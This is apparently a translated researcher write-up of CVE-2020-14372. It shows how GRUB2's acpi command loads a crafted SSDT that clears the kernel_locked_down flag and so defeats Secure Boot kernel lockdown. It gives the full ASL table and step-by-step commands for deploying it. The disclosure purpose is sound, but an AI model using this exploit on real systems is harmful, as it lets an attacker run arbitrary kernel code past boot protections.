CVE-2020-14372：用一个“简单把戏”绕过（并非那么）安全启动

漏洞详情

有一天我在GRUB2的控制台输入"help"，看到了一些非常“有趣”的命令：

• read_byte ADDR: 从ADDR读取8位值
• write_byte ADDR VAL: 将8位值VAL写入ADDR

我立刻以为我找到了最有趣的安全启动绕过方法，但在安全启动下这些命令会输出如下内容：

error: Secure Boot forbids loading module .../memrw.mod.

出于好奇，以这种方式启动后，我输入了"acpi"命令，它打印了一条用法消息，告诉我需要指向一个AML文件。众所周知，ACPI的另一个名称是“在您的内核上下文中运行任意供应商提供代码的机制”，因为我们可以加载带有安全启动的ACPI表，我们就是能够提供该代码的“供应商”。

但由于启动内核的数据段中有一个一字节的标志（kernel_locked_down），它告诉内核是否处于“锁定”状态，我们可以通过SSDT覆盖该标志，让内核加载任意模块。

以下SSDT通过创建一个名为HACK的“电池”对象，并在该对象的_INI方法中执行写入操作来实现这一点（内核始终会执行该方法）：

DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

我写了一个Python概念验证利用来帮助生成这个SSDT，但手工利用也并非难事。大致步骤如下：

1. 在内核命令行中添加nokaslr禁用KASLR
2. 在不使用KASLR启动后，找到kernel_locked_down符号的物理地址
3. 将地址插入上述SSDT，然后使用iasl编译该SSDT
4. 最后指示GRUB2加载该SSDT

如何使用PoC

假设条件：

• 攻击者对运行中的操作系统拥有root访问权限
• Linux在UEFI安全启动下使用GRUB2版本≤2.02启动（某些2.02版本已修补），这将导致内核锁定被启用

当上述条件满足时，编辑/etc/default/grub，在GRUB_CMDLINE_LINUX_DEFAULT中添加nokaslr，运行update-grub，然后重启。

在内核在没有地址空间布局随机化的情况下启动后，可以使用genssdt.py脚本生成一个“恶意”SSDT，它将在运行时修补内核内存以禁用锁定：

python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

现在SSDT已创建完毕，必须编辑GRUB配置文件（通常位于/boot/grub/grub.cfg）以使GRUB加载此SSDT（将该行添加到文件顶部）：

acpi (hd0,gpt1)/evil_ssdt.aml

根据EFI系统分区（我们放置SSDT的位置）在磁盘上的位置，可能需要将(hd0,gpt1)替换为其他内容。

最后，重启后内核锁定应该被禁用，从而使root能够在内核中执行任意代码。